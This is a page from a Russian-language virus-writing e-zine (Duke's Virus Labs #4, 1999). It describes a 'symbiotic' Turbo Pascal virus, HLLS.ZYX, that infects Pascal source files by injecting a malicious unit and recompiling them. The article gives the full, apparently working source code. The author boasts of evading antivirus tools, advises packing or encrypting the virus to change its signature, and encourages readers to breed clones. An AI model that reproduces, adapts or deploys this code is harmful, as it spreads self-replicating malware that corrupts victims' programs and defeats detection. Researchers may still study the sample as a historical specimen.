- [Duke's Virus Labs #4] - [Page 04] - HLLS.ZYX (c) by Duke/SMF Имя вируса : HLLS.ZYX Автор : Duke/SMF Язык прогр. : Turbo Pascal 7.0 Дата создания : 9.01.99 Давненько хотелось мне реализовать симбиоз на паскале. Язык ассемблера дает больше возможностей для реализации. В паскале же все сильно запущено. К его недостаткам можно отнести: 1) Наличие в создаваемых EXE-файлах Relocation Table. Многим она кровь попортила... =(8-E~~ Из-за нее ExeHeader вирусы и называют "очень опасными". Да и настраивать эти таблицы особого желания не возникает. 2) Примочка от компилятора размером 1.5 кило (она-то пункт 1 и настраивает ;)) 3) Как следствие из предыдущего пункта, большой размер полученной программы. С этим обстоятельством приходится смириться - любой вирус имеет право на жизнь. Но вернемся к симбиозу. Само это понятие подразумевает, что жертва и вирус переплетены настолько, что их очень сложно (невозможно) разделить без потери работоспособности жертвы. При этом вирус живет за счет жертвы, питаясь ее ресурсами. Исходя из этих соображений я состряпал зверька и назвал его (условно) HLLS.ZYX. Поскольку я написал его на 100% паскале, вирус получился несколько необычный. Дело в том, что он живет в EXE-файлах, но поражает PAS-файлы. Поражение заключается в том, что в PAS-файл записывается подключение нового модуля ZYX, содержащего вирус. Алгоритм работы вируса : 1) Запущенный чистый вирус создает на диске файл zyx.pas, который имеет формат pascal-модуля. В разделе imlementation содержится единственная процедура Starting. В исполнимой части модуля содержится вызов процедуры Starting. Так как модуль ZYX подключается к файлу самым первым, то первой управление получает процедура Starting. 2) Если на компьютере в PATH есть компиляторы языка Turbo Pascal (tpc.exe или bpc.exe), то файл ZYX.PAS компилируется в ZYX.TPU (Если компиляторов нет, то надеемся, что они появятся в ближайшем будущем ;))) 3) Проводим поиск и поражение PAS-файлов текущего каталога. По возможности, компилируем пораженные файлы в EXE. 4) Когда запускается зараженный файл, то процедура Starting создает на диске файл с чистым вирусом, запускает его, а затем удаляет. Так мы попадаем в пункт 1 - круг замкнулся. Таким образом, в своем существовании вирус может находиться в 3 состояниях: ________________ ___________________ ____________________ | | | вирус в созданном | | | | чистый вирус в |===>| TPU-файле (2) |===>| вирус в пораженном | | EXE-файле (1) | |___________________| | EXE-файле (3) | |________________|<============================|____________________| А теперь о бессилии антивирусов :)) Вирус HLLS.ZYX не инфицирует EXE-файлов, поэтому резидентные мониторы & SHERIFF его не отслеживают. При поиске ищутся только PAS-файлы - это тоже плюс. Да и вообще - вся работа идет только с текстовыми файлами. Программы типа ADinf Cure Module тоже далеко не на высоте. Файл изменяется настолько, что это уже другая программа! Восстановить файл в первозданном состоянии им все равно не удастся... Перестраивать Relocation'ы - это вам не плюшки трескать ! Местонахождение вируса в файле может различаться от файла к файлу - это зависит от того, что автор в них втыкает. (А вот тут всплывает один недостаток вируса. Поскольку кол-во места под описание констант в программе на паскале ограничено числом 64Кб, то вирусу могут попасться файлы, в которых "не уместится" его тело. Такие файлы после заражение попросту перестанут компилироваться.) А раз нет постоянного места в жертве, то алгоритм лечения усложняется. Антивирусам придется искать сигнатуру по всему файлу. Стоит заметить, что тело вируса можно (и даже нужно!) запаковать или зашифровать какой-либо утилитой (PKLITE, CRYPT и прочее). В этом случае изменится сигнатура (по сравнению с непакованным вирусом), изменится размер вируса и у антивирусов возникнут проблемы с поиском/лечением. Хочу еще раз подчеркнуть, что запакованный вирус HLLS.ZYX - это уже ДРУГОЙ вирус (точнее говоря, это смутировавший клон вируса) ! В упаковке тела вируса есть и еще один плюс: тело вируса уменьшится в длине => вирусу меньше времени понадобится для создания своего PAS-dropper'а => повысится быстродействие вируса и его работа будет менее заметна. Есть еще кое-что, весьма неординарное. Большинство HLL-вирусов теряют свою работоспособность после упаковки/зашифровки пораженного файла (исчезают или перемещаются метки о зараженности, изменяется размер вируса, а для HLLP это создает огромные проблемы при дальнейшем размножении. А вот вирус HLLS.ZYX не зависит от собственных размеров - они определяются автоматически :)) Поэтому режимы (директивы) компиляции и версии компилятора (да хоть TMT Pascal ;) могут быть любыми. И не придется подправлять в исходнике длину вируса после малейших изменений текста программы. Да, кстати, вирус не требует никаких инсталляторов: откомпилировал и запускай в благодатной среде! Обычные HLLP-вирусы лечат жертву перед ее запуском. Если работа жертвы завершилась некорректно (например, она зависла и пришлось жать RESET), то жертва оказывается излеченной! А это пагубно сказывается на вирусной популяции :(( А вот HLLS.ZYX ничего не лечит !!! И все эти прелести потому, что у нас - симбиоз. Вирус является полноправным компонентом программы, а не чужеродным вкраплением или навеской. При лечении НЕВОЗМОЖНО (да-да, именно так ;) удалить ВСЕ компоненты вируса из пораженного файла: вирус учитывается при создании Relocation Table, его код есть в кодовой части, есть вирус и в разделе типизированных констант - он повсюду ;)) Но пусть AV не говорят, что он не лечится - способ всегда найдется... Не знаю, как назовут антивирусники этот вирус. HLLP - это как-то не то... Я бы предложил создать семейство HLLS (ведь создали же HLLW-семейство, так что дорожка уже проторена!). Вирус HLLS.ZYX - это первая ласточка в семействе HLLS-вирусов. В следующих номерах DVL я обязательно вернусь к этой теме. Новые вирусы будут обладать спецэффектами, будут щифрующимися или полимофными. Одним словом, поживем - увидим. А пока, желаю вам успехов в создании HLLS-клонов. Плодитесь и размножайтесь, господа ! PS : Не так давно (в процессе работы над этой статьей) узнал, что мой коллега (надеюсь, что он не обидится ;) RedArc так же работает в этом направлении (причем успешно). Поэтому, пользуясь возможностью, передаю ему привет и желаю успехов ! Надеюсь, что у нас будут и общие проекты :) ===== Cut here ===== {$M 10000, 2000, 10000} {$I-,S-} program HLLS_ZYX; uses dos; var Command,Compile:string; Comp:boolean; Len:integer; s:searchrec; {--------------------------------------------------------------------------} function UpStr(st:string):string; {преобразует строку к верхнему регистру} var n:string; i:integer; begin n:=''; for i:=1 to length(st) do n:=n+UpCase(st[i]); UpStr:=n; end; {--------------------------------------------------------------------------} function Find(name,what:string):boolean;{аналог досовской команды FIND} {Делает вирус независимым от присутствия утилиты FIND на диске} var f:text; st:string; begin Find:=false; assign(f,name);reset(f); while not eof(f) do begin readln(f,st); if pos(what,UpStr(st))<>0 then begin Find:=true; exit end end end; {--------------------------------------------------------------------------} procedure Infect(st:string); {поражает файл} const sn='$$$$$$$$'; var f,g:text; u,ip,w:byte; s:string; n:byte; begin u:=0; ip:=0; w:=0; {не поразили} if Find(st,'ZYX') then exit; {файл уже поражен} if Find(st,'USES') then u:=1 ; if Find(st,'PROGRAM') or Find(st,'IMPLEMENTATION') then ip:=1 ; exec(Command,'/c copy '+st+' '+sn+'>nul'); assign(f,sn);reset(f); {открыли временный файл} assign(g,st);rewrite(g); {перезаписали жертву} if (ip=0) and (u=0) then begin writeln(g,'uses zyx;'); w:=1; end; while not eof(f) do begin readln(f,s); if w=1 then writeln(g,s) else begin if u=1 then if pos('USES',UpStr(s))<>0 then begin n:=pos('USES',UpStr(s))+4; write(g,copy(s,1,n)); write(g,'zyx,'); writeln(g,copy(s,n,length(s)-n+1)); w:=1; end else writeln(g,s) else if (pos('PROGRAM',UpStr(s))<>0) or (pos('IMPLEMENTATION',UpStr(s))<>0) then begin writeln(g,s); writeln(g,'uses zyx;'); w:=1; end else writeln(g,s) end; end; close(g); close(f);erase(f); if Comp=true then exec(Command,'/c '+Compile+' '+st+'>nul'); end; {--------------------------------------------------------------------------} procedure MakeDB; {создает TPU-dropper вируса} var f:text; i,c:byte; d:file; {исходный файл} z:byte; {счетчик записанных символов} begin findfirst(paramstr(0),$20,s); Len:=s.size; {нашли длину} assign(f,'zyx.pas');rewrite(f); writeln(f,'{$M 10000, 1000, 10000}'); writeln(f,'unit zyx;'); writeln(f,'interface'); writeln(f,'uses dos;'); writeln(f,'implementation'); writeln(f,'procedure Starting;'); writeln(f,'const dat:array[1..',Len,'] of byte=('); assign(d,paramstr(0));reset(d,1); z:=0; while not eof(d) do begin blockread(d,c,1); write(f,ord(c)); if not eof(d) then write(f,','); z:=z+1; if z=20 then begin writeln(f,'');z:=0;end; end; writeln(f,');'); writeln(f,'var g:file;'); writeln(f,'begin'); writeln(f,'assign(g,''zyx.exe'');rewrite(g,1);'); writeln(f,'blockwrite(g,dat,',Len,');'); writeln(f,'close(g);'); writeln(f,'exec(''zyx.exe'','''');'); writeln(f,'erase(g)'); writeln(f,'end;'); writeln(f,'begin'); writeln(f,'Starting;'); writeln(f,'end.'); close(f); if Comp=true then begin exec(Command,'/c '+Compile+' zyx.pas>nul'); erase(f); {заметаем следы} end; end; {-------------------------------------------------------------------------} procedure DetectComp;{определяет наличие на компьютере компиляторов} begin Comp:=false; Compile:='tpc.exe'; exec(Command,'/c '+Compile+'>nul'); if doserror<>0 then begin Compile:='bpc.exe'; exec(Command,'/c '+Compile+'>nul'); if doserror=0 then Comp:=true; end else Comp:=true; end; {--------------------------------------------------------------------------} begin findfirst('*.pas',$20,s); {ищем PAS-файлы} if doserror=0 then {значит есть, чего поразить !} begin Command:='[HLLS.ZYX (c) by Duke/SMF]'; {немного копирайтов ;) } Command:=GetEnv('COMSPEC'); {определяем путь к COMMAND.COM} DetectComp; {ищем компиляторы} MakeDB; {создаем ZYX.TPU} end; while doserror=0 do begin Infect(s.name); {поражаем найденный файлы} findnext(s); end; end. ===== Cut here =====